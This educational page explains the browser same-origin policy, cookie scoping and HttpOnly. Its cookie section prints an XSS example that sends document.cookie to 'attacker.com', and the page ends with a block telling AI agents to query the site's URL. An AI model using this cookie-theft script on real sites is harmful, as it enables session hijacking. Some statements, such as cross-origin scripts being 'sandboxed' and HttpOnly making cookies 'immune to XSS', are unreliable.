# SOP (Same Origin Policy)

\
The **same-origin policy is a web browser security mechanism that aims to prevent websites from attacking each other.**

The same-origin policy **restricts scripts on one origin from accessing data from another origin**. An origin consists of a **URI scheme, domain and port number**. For example, consider the following URL:

```
http://normal-website.com/example/example.html
```

scheme `http`, the domain `normal-website.com`, and the port number `80`

Following table shows how the same-origin policy will be applied if content at the above URL tries to access other origins:

<table data-full-width="true"><thead><tr><th> URL accessed </th><th> 	Access permitted? </th></tr></thead><tbody><tr><td><a href="http://normal-website.com/example/">http://normal-website.com/example/</a></td><td>Yes: same scheme, domain, and port</td></tr><tr><td><a href="http://normal-website.com/example2/">http://normal-website.com/example2/</a></td><td>Yes: same scheme, domain, and port</td></tr><tr><td><a href="https://normal-website.com/example/">https://normal-website.com/example/</a></td><td>No: different scheme and port</td></tr><tr><td><a href="http://en.normal-website.com/example/">http://en.normal-website.com/example/</a></td><td>No: different domain</td></tr><tr><td><a href="http://www.normal-website.com/example/ ">http://www.normal-website.com/example/ </a></td><td>No: different domain</td></tr><tr><td><a href="http://normal-website.com:8080/example/">http://normal-website.com:8080/example/</a></td><td>No: different port*</td></tr></tbody></table>

## Why is the same-origin policy necessary? <a href="#why-is-the-same-origin-policy-necessary" id="why-is-the-same-origin-policy-necessary"></a>

When a **browser sends an HTTP request from one origin to another, any cookies, including authentication session cookies, relevant to the other domain are also sent as part of the request**.&#x20;

This means that the response will be generated within the user's session, and include any relevant data that is specific to the user.\
\
"This implicitly attaching of cookies with relevant domain-path request only works with HTTP request"\
\
Example:

* When you load **passive resources** (like `<img>`, `<script>`, `<link>`, `<iframe>`), **cookies are automatically sent** with cross-origin requests (as long as the cookie’s `Domain` & `Path` match, and it’s not blocked by `SameSite`).
* When you make an **AJAX / Fetch / XHR** cross-origin request from JavaScript, the **browser does NOT include cookies by default**. You must explicitly opt in using `credentials: "include"` (or `xhr.withCredentials = true`)<br>

  ```
  fetch("https://api.example.com/data")

  fetch("https://api.example.com/data", {
    credentials: "include"
  });

  ```

  <br>

| Scenario                                               | Are cookies sent automatically? |
| ------------------------------------------------------ | ------------------------------- |
| `<img src="...">`                                      | Yes                             |
| \| `<script src="...">`                                | Yes                             |
| `<iframe src="...">`                                   | Yes                             |
| `fetch("https://foo.com")`                             | No — must opt-in                |
| `fetch("https://foo.com", { credentials: "include" })` | Yes                             |

## How is same-origin-policy implemented?

The **same-origin policy generally controls the access that JavaScript code has to content that is loaded cross-domain**.

The SOP **allows you to embed external resources like images, videos, or JavaScript files from a different domain into your web page, but it prevents scripts on the page from interacting directly with those resources**. In other words, you can load these resources, but you **cannot programmatically read their content** if they come from a different origin (domain, protocol, or port) than your own web page.

Example Scenarios:

* **Embedding an Image with `<img>`**: You can load an image from another domain and display it in your page, but you can't inspect or manipulate its content using JavaScript.

```
<img src="https://www.example.com/image.jpg" alt="Example Image">

```

Here, the image is displayed from **example.com**, but JavaScript on your page (if hosted at `yourwebsite.com`) **cannot read the image's pixel data** or interact with it at a deeper level due to the SOP. You can display the image, but you can't do things like extracting color data from it via JavaScript.

* **Embedding a Video with `<video>`**: You can embed a video from another domain using the `<video>` tag, but you cannot use JavaScript to access or manipulate the video content from a different origin.

```
<video src="https://www.example.com/video.mp4" controls></video>

```

You can play the video from **example.com** on your page, but your page cannot access the actual media data or control playback in certain ways if it comes from a different origin.

* **Including External JavaScript with `<script>`**: You can load and execute JavaScript from a different domain using the `<script>` tag, but the script will be sandboxed and can't directly access certain resources or content on your site if it's hosted on a different origin.

```
<script src="https://www.example.com/script.js"></script>
```

The script will run on your page, but it won’t be able to directly read or manipulate sensitive data from your site if the domains don't match.

#### There are various exceptions to the same-origin policy:

**1.** **Writable but Not Readable Cross-Domain (e.g., `location` object)**

You can **write to the `location` object** of an iframe or window from another domain (meaning you can change its URL), but you **cannot read** the `location.href` property.

**Example:**

If you have an iframe loading content from `example.com` inside your page hosted on `yourdomain.com`, you can **change the URL** of the iframe, but you cannot read what URL it's currently displaying.

```html
<iframe id="myFrame" src="https://www.example.com"></iframe>
<script>
  // Change the URL of the iframe (allowed cross-origin)
  document.getElementById("myFrame").contentWindow.location.href = "https://www.newsite.com";
  
  // Try to read the URL (blocked due to SOP)
  console.log(document.getElementById("myFrame").contentWindow.location.href); // This will throw a security error
</script>

```

#### 2. **Readable but Not Writable Cross-Domain (e.g., `window.length` and `window.closed`)**

Some properties, like the `length` of the `window` object (which represents the number of frames in a window), or the `closed` property (which indicates if the window has been closed), are **readable** across domains but **not writable**.

**Example:**

If you open a new window from your page, you can read the number of frames in the new window or check if it’s closed, even if it's from a different origin.

```html
<script>
  // Open a new window from another domain
  var newWin = window.open("https://www.example.com");

  // Allowed: Reading the number of frames in the new window
  console.log(newWin.length); // Outputs the number of frames, e.g., 0 if no frames

  // Allowed: Checking if the new window is closed
  console.log(newWin.closed); // Outputs false if the window is still open

  // Not Allowed: Trying to write to these properties (throws an error)
  newWin.length = 5; // Security error
  newWin.closed = true; // Security error
</script>

```

#### 3. **Cross-Domain Function Calls (e.g., `replace` on the `location` object)**

Some functions, such as `location.replace()`, are allowed cross-domain. The `replace` function lets you **navigate to a new URL without adding an entry** to the browser's history, and this can be done cross-origin.

**Example:**

You can call `location.replace()` on an iframe or window that loads content from a different origin.

```html
<iframe id="myFrame" src="https://www.example.com"></iframe>
<script>
  // Replace the URL in the iframe (cross-origin call allowed)
  document.getElementById("myFrame").contentWindow.location.replace("https://www.newsite.com");
</script>

```

#### 4. **Calling Cross-Domain Functions (e.g., `close`, `blur`, `focus`, and `postMessage`)**

You can call certain **window management functions** (such as `close()`, `blur()`, and `focus()`) on cross-origin windows or iframes. You can also use `postMessage()` to securely communicate between windows or iframes across different domains.

**Example 1: Calling `close()`, `blur()`, and `focus()` cross-origin**

```html
<script>
  var newWin = window.open("https://www.example.com");

  // Allowed: Close the new window
  newWin.close();

  // Allowed: Remove focus from the new window
  newWin.blur();

  // Allowed: Bring the new window to the front
  newWin.focus();
</script>

```

**Example 2: Using `postMessage()` to send messages cross-origin**

`postMessage()` allows secure cross-origin communication between windows or iframes.

```html
<iframe id="myFrame" src="https://www.example.com"></iframe>
<script>
  // Sending a message to the iframe
  var frame = document.getElementById("myFrame");
  frame.contentWindow.postMessage("Hello from parent", "https://www.example.com");

  // Listening for a message from the iframe
  window.addEventListener("message", function(event) {
    if (event.origin === "https://www.example.com") {
      console.log("Received message:", event.data);
    }
  });
</script>

```

### Exceptions allowed by SOP by default

<table><thead><tr><th width="53.5455322265625"></th><th>Exception</th><th>Description</th></tr></thead><tbody><tr><td>1</td><td>Cross-origin <code>&#x3C;img></code></td><td>You can load images from different origins into an <code>&#x3C;img></code> tag.</td></tr><tr><td>2</td><td>Cross-origin <code>&#x3C;script></code> (JSONP)</td><td>Scripts can be loaded cross-origin using <code>&#x3C;script src=""></code>. This is how CDNs work for JS libraries.</td></tr><tr><td>3</td><td>Cross-origin <code>&#x3C;link rel="stylesheet"></code></td><td>Stylesheets (CSS) can be loaded from other origins.</td></tr><tr><td>4</td><td>Cross-origin <code>&#x3C;video></code> &#x26; <code>&#x3C;audio></code> sources</td><td>Media files can be loaded from other origins.</td></tr><tr><td>5</td><td>Cross-origin <code>&#x3C;iframe></code> embedding</td><td>You can embed another origin in an <code>&#x3C;iframe></code>, but JS interaction is blocked (sandboxed).</td></tr><tr><td>6</td><td>Form submission</td><td>HTML forms (<code>&#x3C;form action="..."></code>) can submit data to another origin.</td></tr><tr><td>7</td><td>Hyperlinks <code>&#x3C;a href></code></td><td>Navigating the browser to another origin is always allowed.</td></tr><tr><td>8</td><td>CORS-enabled resources</td><td>Cross-origin XHR/Fetch requests are allowed if the server explicitly responds with the appropriate <code>Access-Control-Allow-Origin</code> header. (This is controlled by CORS, not SOP alone — but it's the standard way to allow controlled exceptions.)</td></tr></tbody></table>

##

## **Relaxation of the Same-Origin Policy for Cookies**:

Cookies are **treated differently under the Same-Origin Policy compared to other web resources.** A **cookie** is typically set by a server and stored by the browser to maintain stateful sessions, track users, or store information like authentication tokens. The SOP, while strict for other resources like JavaScript and AJAX requests, is more lenient with cookies, especially when dealing with **subdomains**.

#### **Key Differences in Cookie Handling:**

* **Same-domain cookies**: If a cookie is set by `example.com`, it can be accessed by other pages on `example.com`.
* **Subdomain cookies**: A cookie set by `example.com` can also be accessed by **subdomains**, like `sub.example.com`. This is because cookies often default to being **accessible to all subdomains** of the site unless explicitly restricted by the developer.
  * If a cookie is set for `example.com`, it is **inherently accessible** from `sub1.example.com`, `sub2.example.com`, etc., even though each subdomain is technically a different origin under the SOP.

This cookie behavior allows **cookies to be shared** between subdomains, which is useful for scenarios like **single sign-on** (SSO), where users are authenticated across different subdomains of the same site without needing to re-enter credentials.

#### Why Is This a Security Concern?

While this cookie-sharing across subdomains can be convenient, it introduces security risks:

* **Cross-Subdomain Access**: If an attacker compromises one subdomain (e.g., `sub1.example.com`), they can access cookies that are shared across subdomains, potentially gaining access to session cookies used for authentication.
* **Sensitive Data Exposure**: Cookies can contain sensitive data, and sharing them across subdomains could expose that data to any subdomain, even those that shouldn't have access.

```
Set-Cookie: session_token=abc123; Domain=example.com; Path=/;
```

The subdomain  runs a **blogging platform** that allows users to submit articles with content, which includes embedded JavaScript. However, the site fails to properly **sanitize user inputs**, making it vulnerable to a **Cross-Site Scripting (XSS)** attack.

An attacker finds this vulnerability and injects **malicious JavaScript** into the blog post submission form.

```html
<script>
  // Steal session token
  var sessionCookie = document.cookie;

  // Send the cookie to the attacker's server
  var img = new Image();
  img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(sessionCookie);
</script>

```

#### **Mitigating the Risk with the `HttpOnly` Flag**:

One way to **mitigate the security risk** associated with cookies is by using the **`HttpOnly`** flag when setting cookies. This flag ensures that **cookies are not accessible via JavaScript**, thus preventing client-side scripts from reading or modifying them.

```
Set-Cookie: session_id=abc123; HttpOnly; Secure; Domain=example.com; Path=/admin
```

* **`HttpOnly`** ensures that the cookie cannot be accessed via JavaScript, making it immune to XSS attacks.
* **`Secure`** ensures the cookie is only sent over HTTPS, which protects it from being intercepted in transit.
* **`Domain=example.com`** ensures that the cookie is accessible across subdomains of `example.com`.
* **`Path=/admin`** means the cookie is only sent with requests to URLs under the `/admin` path.

You can relax the Same-Origin Policy (SOP) using `document.domain`, allowing access between subdomains within the same Fully Qualified Domain Name (FQDN).&#x20;

For example, to share data between `marketing.example.com` and `example.com`, both must set `document.domain` to `example.com`. This lets them bypass SOP restrictions.&#x20;

Previously, it was possible to set `document.domain` to a Top-Level Domain (TLD) like `com` to allow cross-domain access, but modern browsers now block this for security reasons.\ <br>

References:

* <https://web.dev/articles/same-origin-policy#:~:text=The%20same%2Dorigin%20policy%20is,from%20multiple%20sites%20at%20once.><br>
* <https://portswigger.net/web-security/cors/same-origin-policy>
* <https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/web-vulnerabilities/client-side-vulnerabilties/sop-same-origin-policy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
